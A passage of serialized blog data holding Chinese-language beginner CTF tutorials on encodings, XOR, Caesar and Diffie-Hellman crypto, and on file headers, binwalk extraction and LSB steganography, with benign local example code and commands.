",[26,3674,3675],{},"xortool",[31,3677,3679],{"className":267,"code":3678,"language":269,"meta":36,"style":36},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[26,3680,3681,3691],{"__ignoreMap":36},[40,3682,3683,3686,3688],{"class":42,"line":43},[40,3684,3685],{"class":276},"pip",[40,3687,645],{"class":284},[40,3689,3690],{"class":284}," xortool\n",[40,3692,3693,3695,3698,3701,3704],{"class":42,"line":49},[40,3694,3675],{"class":276},[40,3696,3697],{"class":280}," -x",[40,3699,3700],{"class":280}," -c",[40,3702,3703],{"class":280}," 20",[40,3705,3706],{"class":284}," cipher.bin\n",[10,3708,3710],{"id":3709},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3712,3713],{},"每个字母平移固定位数：",[31,3715,3717],{"className":841,"code":3716,"language":843,"meta":36,"style":36},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[26,3718,3719,3724,3729,3734,3739,3744,3749,3754,3759,3764,3768,3773],{"__ignoreMap":36},[40,3720,3721],{"class":42,"line":43},[40,3722,3723],{},"def caesar(s, shift):\n",[40,3725,3726],{"class":42,"line":49},[40,3727,3728],{},"    out = \"\"\n",[40,3730,3731],{"class":42,"line":55},[40,3732,3733],{},"    for c in s:\n",[40,3735,3736],{"class":42,"line":62},[40,3737,3738],{},"        if c.isalpha():\n",[40,3740,3741],{"class":42,"line":68},[40,3742,3743],{},"            base = ord('a') if c.islower() else ord('A')\n",[40,3745,3746],{"class":42,"line":74},[40,3747,3748],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[40,3750,3751],{"class":42,"line":80},[40,3752,3753],{},"        else:\n",[40,3755,3756],{"class":42,"line":86},[40,3757,3758],{},"            out += c\n",[40,3760,3761],{"class":42,"line":92},[40,3762,3763],{},"    return out\n",[40,3765,3766],{"class":42,"line":98},[40,3767,59],{"emptyLinePlaceholder":58},[40,3769,3770],{"class":42,"line":104},[40,3771,3772],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[40,3774,3775],{"class":42,"line":110},[40,3776,3777],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3779,923],{},[31,3781,3784],{"className":3782,"code":3783,"language":380,"meta":36},[378],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[26,3785,3783],{"__ignoreMap":36},[10,3787,3789],{"id":3788},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[355,3791,3793],{"id":3792},"_51-要解决的问题","5.1 要解决的问题",[15,3795,3796],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[355,3798,3800],{"id":3799},"_52-流程","5.2 流程",[15,3802,3803,3805],{},[333,3804,335],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3807,3808,3810],{},[333,3809,341],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1054,3812,3813,3821,3830,3838],{},[1057,3814,3815,3816,3818,3819,307],{},"双方公开约定大素数 ",[26,3817,15],{}," 与生成元 ",[26,3820,1172],{},[1057,3822,3823,3824,3826,3827,307],{},"Alice 选私钥 ",[26,3825,3474],{},"，发送 ",[26,3828,3829],{},"A = g^a mod p",[1057,3831,3832,3833,3826,3835,307],{},"Bob 选私钥 ",[26,3834,2012],{},[26,3836,3837],{},"B = g^b mod p",[1057,3839,3840,3841,3844,3845,3848,3849,307],{},"双方分别计算 ",[26,3842,3843],{},"B^a mod p"," 与 ",[26,3846,3847],{},"A^b mod p","，得到相同值 ",[26,3850,3851],{},"g^(ab) mod p",[355,3853,3855],{"id":3854},"_53-最小实现","5.3 最小实现",[31,3857,3859],{"className":841,"code":3858,"language":843,"meta":36,"style":36},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[26,3860,3861,3866,3871,3876,3881,3886,3890,3895,3900,3905,3910,3915,3919,3924,3929,3934,3939,3944,3948,3953,3958,3963,3968,3973],{"__ignoreMap":36},[40,3862,3863],{"class":42,"line":43},[40,3864,3865],{},"p, g = 0xffffffffffffffc5, 2\n",[40,3867,3868],{"class":42,"line":49},[40,3869,3870],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[40,3872,3873],{"class":42,"line":55},[40,3874,3875],{},"# g：生成元，双方公开约定。\n",[40,3877,3878],{"class":42,"line":62},[40,3879,3880],{},"a, b = 1234567, 7654321\n",[40,3882,3883],{"class":42,"line":68},[40,3884,3885],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[40,3887,3888],{"class":42,"line":74},[40,3889,59],{"emptyLinePlaceholder":58},[40,3891,3892],{"class":42,"line":80},[40,3893,3894],{},"A = pow(g, a, p)\n",[40,3896,3897],{"class":42,"line":86},[40,3898,3899],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[40,3901,3902],{"class":42,"line":92},[40,3903,3904],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[40,3906,3907],{"class":42,"line":98},[40,3908,3909],{},"B = pow(g, b, p)\n",[40,3911,3912],{"class":42,"line":104},[40,3913,3914],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[40,3916,3917],{"class":42,"line":110},[40,3918,59],{"emptyLinePlaceholder":58},[40,3920,3921],{"class":42,"line":116},[40,3922,3923],{},"s_alice = pow(B, a, p)\n",[40,3925,3926],{"class":42,"line":122},[40,3927,3928],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[40,3930,3931],{"class":42,"line":128},[40,3932,3933],{},"s_bob = pow(A, b, p)\n",[40,3935,3936],{"class":42,"line":134},[40,3937,3938],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[40,3940,3941],{"class":42,"line":140},[40,3942,3943],{},"# 两个结果相等，这就是共享密钥。\n",[40,3945,3946],{"class":42,"line":146},[40,3947,59],{"emptyLinePlaceholder":58},[40,3949,3950],{"class":42,"line":152},[40,3951,3952],{},"print(\"A =\", A)\n",[40,3954,3955],{"class":42,"line":158},[40,3956,3957],{},"print(\"B =\", B)\n",[40,3959,3960],{"class":42,"line":164},[40,3961,3962],{},"print(\"Alice 计算:\", s_alice)\n",[40,3964,3965],{"class":42,"line":170},[40,3966,3967],{},"print(\"Bob 计算:\", s_bob)\n",[40,3969,3970],{"class":42,"line":176},[40,3971,3972],{},"print(\"一致:\", s_alice == s_bob)\n",[40,3974,3975],{"class":42,"line":182},[40,3976,3977],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,3979,923],{},[31,3981,3984],{"className":3982,"code":3983,"language":380,"meta":36},[378],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[26,3985,3983],{"__ignoreMap":36},[15,3987,3988,3989,3992,3993,3995],{},"窃听者只能看到 ",[26,3990,3991],{},"p, g, A, B","，要算出 ",[26,3994,3474],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,3997,2055],{"id":2054},[355,3999,4001],{"id":4000},"工具-1cyberchef","工具 1：CyberChef",[15,4003,4004],{},"浏览器工具，三个常用操作：",[955,4006,4007,4017],{},[958,4008,4009],{},[961,4010,4011,4014],{},[964,4012,4013],{},"操作",[964,4015,4016],{},"用法",[974,4018,4019,4027,4035],{},[961,4020,4021,4024],{},[979,4022,4023],{},"From Base64",[979,4025,4026],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[961,4028,4029,4032],{},[979,4030,4031],{},"From Hex",[979,4033,4034],{},"拖入 From Hex 解码十六进制",[961,4036,4037,4040],{},[979,4038,4039],{},"Magic",[979,4041,4042],{},"直接粘贴未知文本，自动猜测编码方式",[355,4044,4046],{"id":4045},"工具-2python-标准库","工具 2：Python 标准库",[31,4048,4050],{"className":841,"code":4049,"language":843,"meta":36,"style":36},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[26,4051,4052,4057,4061,4066,4071],{"__ignoreMap":36},[40,4053,4054],{"class":42,"line":43},[40,4055,4056],{},"import base64, binascii\n",[40,4058,4059],{"class":42,"line":49},[40,4060,59],{"emptyLinePlaceholder":58},[40,4062,4063],{"class":42,"line":55},[40,4064,4065],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[40,4067,4068],{"class":42,"line":62},[40,4069,4070],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[40,4072,4073],{"class":42,"line":68},[40,4074,4075],{},"print(ord('A'))                       # 65，ASCII 编码\n",[355,4077,4079],{"id":4078},"工具-3pycryptodome","工具 3：pycryptodome",[15,4081,4082],{},"CTF 密码学最常用的库，三个函数：",[31,4084,4086],{"className":841,"code":4085,"language":843,"meta":36,"style":36},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[26,4087,4088,4093,4097,4102,4107],{"__ignoreMap":36},[40,4089,4090],{"class":42,"line":43},[40,4091,4092],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[40,4094,4095],{"class":42,"line":49},[40,4096,59],{"emptyLinePlaceholder":58},[40,4098,4099],{"class":42,"line":55},[40,4100,4101],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[40,4103,4104],{"class":42,"line":62},[40,4105,4106],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[40,4108,4109],{"class":42,"line":68},[40,4110,4111],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4113,923],{},[31,4115,4118],{"className":4116,"code":4117,"language":380,"meta":36},[378],"5\nb'flag'\n1718378855\n",[26,4119,4117],{"__ignoreMap":36},[10,4121,4123],{"id":4122},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4125,4126],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[31,4128,4130],{"className":4129,"code":3553,"language":380,"meta":36},[378],[26,4131,3553],{"__ignoreMap":36},[15,4133,4134],{},"解题脚本：",[15,4136,4137,4139,4140,4142],{},[333,4138,341],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[26,4141,3572],{}," 前缀过滤正确结果。",[31,4144,4146],{"className":841,"code":4145,"language":843,"meta":36,"style":36},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[26,4147,4148,4153,4158,4162,4167,4171,4175,4179,4184,4188,4193,4198],{"__ignoreMap":36},[40,4149,4150],{"class":42,"line":43},[40,4151,4152],{},"from binascii import unhexlify\n",[40,4154,4155],{"class":42,"line":49},[40,4156,4157],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[40,4159,4160],{"class":42,"line":55},[40,4161,59],{"emptyLinePlaceholder":58},[40,4163,4164],{"class":42,"line":62},[40,4165,4166],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[40,4168,4169],{"class":42,"line":68},[40,4170,59],{"emptyLinePlaceholder":58},[40,4172,4173],{"class":42,"line":74},[40,4174,3601],{},[40,4176,4177],{"class":42,"line":80},[40,4178,3611],{},[40,4180,4181],{"class":42,"line":86},[40,4182,4183],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[40,4185,4186],{"class":42,"line":92},[40,4187,3626],{},[40,4189,4190],{"class":42,"line":98},[40,4191,4192],{},"        print(\"key =\", k)          # 预期 66\n",[40,4194,4195],{"class":42,"line":104},[40,4196,4197],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[40,4199,4200],{"class":42,"line":110},[40,4201,3646],{},[15,4203,923],{},[31,4205,4207],{"className":4206,"code":3657,"language":380,"meta":36},[378],[26,4208,3657],{"__ignoreMap":36},[10,4210,2333],{"id":2332},[15,4212,4213],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1098,4215,4216],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":36,"searchDepth":49,"depth":49,"links":4218},[4219,4220,4221,4222,4223,4224,4225,4226],{"id":3243,"depth":55,"text":3244},{"id":1195,"depth":55,"text":1196},{"id":3482,"depth":55,"text":3483},{"id":3709,"depth":55,"text":3710},{"id":3788,"depth":55,"text":3789},{"id":2054,"depth":55,"text":2055},{"id":4122,"depth":55,"text":4123},{"id":2332,"depth":55,"text":2333},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1115,"image":4229,"alt":4230,"tags":4231,"published":58},"/blogs-img/blog3.png","CTF 密码学入门",[1119,4232,1122],"crypto","/blogs/ctf-crypto-overview",{"title":3238,"description":4227},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4238,"title":4239,"body":4240,"description":5180,"extension":1113,"meta":5181,"navigation":58,"ogImage":5182,"path":5186,"seo":5187,"stem":5188,"__hash__":5189},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4241,"toc":5170},[4242,4246,4256,4259,4319,4321,4354,4358,4362,4367,4372,4384,4386,4392,4399,4422,4426,4431,4454,4456,4462,4472,4476,4481,4492,4513,4516,4520,4523,4536,4538,4544,4547,4561,4568,4575,4586,4590,4594,4597,4603,4606,4610,4615,4805,4819,4823,4828,4833,4963,4965,4971,4975,5000,5006,5008,5078,5082,5087,5090,5101,5106,5109,5127,5130,5133,5143,5146,5149,5154,5156,5167],[10,4243,4245],{"id":4244},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4247,4248,4249,4252,4253,307],{},"操作系统按扩展名选择打开程序（",[26,4250,4251],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[333,4254,4255],{},"先看文件头，再信扩展名",[15,4257,4258],{},"必须记住的三个文件头：",[955,4260,4261,4274],{},[958,4262,4263],{},[961,4264,4265,4268,4271],{},[964,4266,4267],{},"文件",[964,4269,4270],{},"文件头（hex）",[964,4272,4273],{},"明文",[974,4275,4276,4291,4304],{},[961,4277,4278,4281,4286],{},[979,4279,4280],{},"PNG",[979,4282,4283],{},[26,4284,4285],{},"89 50 4E 47 0D 0A 1A 0A",[979,4287,4288],{},[26,4289,4290],{},"‰PNG",[961,4292,4293,4296,4301],{},[979,4294,4295],{},"JPEG",[979,4297,4298],{},[26,4299,4300],{},"FF D8 FF",[979,4302,4303],{},"—",[961,4305,4306,4309,4314],{},[979,4307,4308],{},"ZIP",[979,4310,4311],{},[26,4312,4313],{},"50 4B 03 04",[979,4315,4316],{},[26,4317,4318],{},"PK",[10,4320,1196],{"id":1195},[31,4322,4324],{"className":267,"code":4323,"language":269,"meta":36,"style":36},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[26,4325,4326,4345],{"__ignoreMap":36},[40,4327,4328,4330,4332,4334,4336,4339,4342],{"class":42,"line":43},[40,4329,642],{"class":276},[40,4331,645],{"class":284},[40,4333,1213],{"class":284},[40,4335,1216],{"class":284},[40,4337,4338],{"class":284}," binwalk",[40,4340,4341],{"class":284}," foremost",[40,4343,4344],{"class":284}," exiftool\n",[40,4346,4347,4349,4351],{"class":42,"line":49},[40,4348,2414],{"class":276},[40,4350,645],{"class":284},[40,4352,4353],{"class":284}," pillow\n",[10,4355,4357],{"id":4356},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[355,4359,4361],{"id":4360},"_31-file看真实类型","3.1 file：看真实类型",[15,4363,4364,4366],{},[333,4365,335],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4368,4369,4371],{},[333,4370,1691],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[31,4373,4375],{"className":267,"code":4374,"language":269,"meta":36,"style":36},"file hidden.png\n",[26,4376,4377],{"__ignoreMap":36},[40,4378,4379,4381],{"class":42,"line":43},[40,4380,368],{"class":276},[40,4382,4383],{"class":284}," hidden.png\n",[15,4385,923],{},[31,4387,4390],{"className":4388,"code":4389,"language":380,"meta":36},[378],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[26,4391,4389],{"__ignoreMap":36},[15,4393,4394,4395,4398],{},"如果输出是 ",[26,4396,4397],{},"Zip archive data","，说明文件其实是 zip：",[31,4400,4402],{"className":267,"code":4401,"language":269,"meta":36,"style":36},"mv flag.png flag.zip && unzip flag.zip\n",[26,4403,4404],{"__ignoreMap":36},[40,4405,4406,4409,4412,4415,4417,4419],{"class":42,"line":43},[40,4407,4408],{"class":276},"mv",[40,4410,4411],{"class":284}," flag.png",[40,4413,4414],{"class":284}," flag.zip",[40,4416,683],{"class":682},[40,4418,671],{"class":276},[40,4420,4421],{"class":284}," flag.zip\n",[355,4423,4425],{"id":4424},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4427,4428,4430],{},[333,4429,335],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[31,4432,4434],{"className":267,"code":4433,"language":269,"meta":36,"style":36},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[26,4435,4436,4449],{"__ignoreMap":36},[40,4437,4438,4441,4444,4447],{"class":42,"line":43},[40,4439,4440],{"class":276},"xxd",[40,4442,4443],{"class":280}," -l",[40,4445,4446],{"class":280}," 16",[40,4448,4383],{"class":284},[40,4450,4451],{"class":42,"line":49},[40,4452,4453],{"class":2552},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4455,923],{},[31,4457,4460],{"className":4458,"code":4459,"language":380,"meta":36},[378],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[26,4461,4459],{"__ignoreMap":36},[15,4463,4464,4465,4468,4469,307],{},"开头的 ",[26,4466,4467],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[26,4470,4471],{},".PNG",[355,4473,4475],{"id":4474},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4477,4478,4480],{},[333,4479,335],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4482,4483,29,4485,4487,4488,4491],{},[333,4484,341],{},[26,4486,344],{}," 把可打印字符串抽出来，",[26,4489,4490],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[31,4493,4495],{"className":267,"code":4494,"language":269,"meta":36,"style":36},"strings flag.png | grep -i flag\n",[26,4496,4497],{"__ignoreMap":36},[40,4498,4499,4501,4503,4505,4507,4510],{"class":42,"line":43},[40,4500,344],{"class":276},[40,4502,4411],{"class":284},[40,4504,493],{"class":492},[40,4506,496],{"class":276},[40,4508,4509],{"class":280}," -i",[40,4511,4512],{"class":284}," flag\n",[15,4514,4515],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4517,4519],{"id":4518},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4521,4522],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[31,4524,4526],{"className":267,"code":4525,"language":269,"meta":36,"style":36},"binwalk flag.png\n",[26,4527,4528],{"__ignoreMap":36},[40,4529,4530,4533],{"class":42,"line":43},[40,4531,4532],{"class":276},"binwalk",[40,4534,4535],{"class":284}," flag.png\n",[15,4537,423],{},[31,4539,4542],{"className":4540,"code":4541,"language":380,"meta":36},[378],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[26,4543,4541],{"__ignoreMap":36},[15,4545,4546],{},"提取：",[31,4548,4550],{"className":267,"code":4549,"language":269,"meta":36,"style":36},"binwalk -e flag.png\n",[26,4551,4552],{"__ignoreMap":36},[40,4553,4554,4556,4559],{"class":42,"line":43},[40,4555,4532],{"class":276},[40,4557,4558],{"class":280}," -e",[40,4560,4535],{"class":284},[15,4562,4563,4564,4567],{},"会在当前目录生成 ",[26,4565,4566],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4569,4570,4571,4574],{},"备选工具 ",[26,4572,4573],{},"foremost","（按文件头暴力切割）：",[31,4576,4578],{"className":267,"code":4577,"language":269,"meta":36,"style":36},"foremost flag.png\n",[26,4579,4580],{"__ignoreMap":36},[40,4581,4582,4584],{"class":42,"line":43},[40,4583,4573],{"class":276},[40,4585,4535],{"class":284},[10,4587,4589],{"id":4588},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[355,4591,4593],{"id":4592},"_51-原理","5.1 原理",[15,4595,4596],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[31,4598,4601],{"className":4599,"code":4600,"language":380,"meta":36},[378],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[26,4602,4600],{"__ignoreMap":36},[15,4604,4605],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[355,4607,4609],{"id":4608},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4611,4612,4614],{},[333,4613,335],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[31,4616,4618],{"className":841,"code":4617,"language":843,"meta":36,"style":36},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[26,4619,4620,4625,4630,4634,4639,4644,4649,4654,4658,4663,4668,4673,4678,4683,4688,4693,4698,4702,4707,4712,4717,4722,4727,4732,4737,4741,4746,4751,4755,4760,4765,4770,4775,4779,4784,4789,4794,4799],{"__ignoreMap":36},[40,4621,4622],{"class":42,"line":43},[40,4623,4624],{},"from PIL import Image\n",[40,4626,4627],{"class":42,"line":49},[40,4628,4629],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[40,4631,4632],{"class":42,"line":55},[40,4633,59],{"emptyLinePlaceholder":58},[40,4635,4636],{"class":42,"line":62},[40,4637,4638],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[40,4640,4641],{"class":42,"line":68},[40,4642,4643],{},"# Image.new(mode, size, color)：新建一张图片。\n",[40,4645,4646],{"class":42,"line":74},[40,4647,4648],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[40,4650,4651],{"class":42,"line":80},[40,4652,4653],{},"message = \"flag{lsb_steganography}\"\n",[40,4655,4656],{"class":42,"line":86},[40,4657,59],{"emptyLinePlaceholder":58},[40,4659,4660],{"class":42,"line":92},[40,4661,4662],{},"data = message.encode() + b'\\x00'\n",[40,4664,4665],{"class":42,"line":98},[40,4666,4667],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[40,4669,4670],{"class":42,"line":104},[40,4671,4672],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[40,4674,4675],{"class":42,"line":110},[40,4676,4677],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[40,4679,4680],{"class":42,"line":116},[40,4681,4682],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[40,4684,4685],{"class":42,"line":122},[40,4686,4687],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[40,4689,4690],{"class":42,"line":128},[40,4691,4692],{},"pixels = list(img.getdata())\n",[40,4694,4695],{"class":42,"line":134},[40,4696,4697],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[40,4699,4700],{"class":42,"line":140},[40,4701,59],{"emptyLinePlaceholder":58},[40,4703,4704],{"class":42,"line":146},[40,4705,4706],{},"new_pixels = []\n",[40,4708,4709],{"class":42,"line":152},[40,4710,4711],{},"i = 0\n",[40,4713,4714],{"class":42,"line":158},[40,4715,4716],{},"for r, g, b in pixels:\n",[40,4718,4719],{"class":42,"line":164},[40,4720,4721],{},"    if i \u003C len(bits):\n",[40,4723,4724],{"class":42,"line":170},[40,4725,4726],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[40,4728,4729],{"class":42,"line":176},[40,4730,4731],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[40,4733,4734],{"class":42,"line":182},[40,4735,4736],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[40,4738,4739],{"class":42,"line":187},[40,4740,4721],{},[40,4742,4743],{"class":42,"line":193},[40,4744,4745],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[40,4747,4748],{"class":42,"line":199},[40,4749,4750],{},"        # 绿色通道同样处理。\n",[40,4752,4753],{"class":42,"line":205},[40,4754,4721],{},[40,4756,4757],{"class":42,"line":211},[40,4758,4759],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[40,4761,4762],{"class":42,"line":217},[40,4763,4764],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[40,4766,4767],{"class":42,"line":223},[40,4768,4769],{},"    new_pixels.append((r, g, b))\n",[40,4771,4772],{"class":42,"line":229},[40,4773,4774],{},"    # 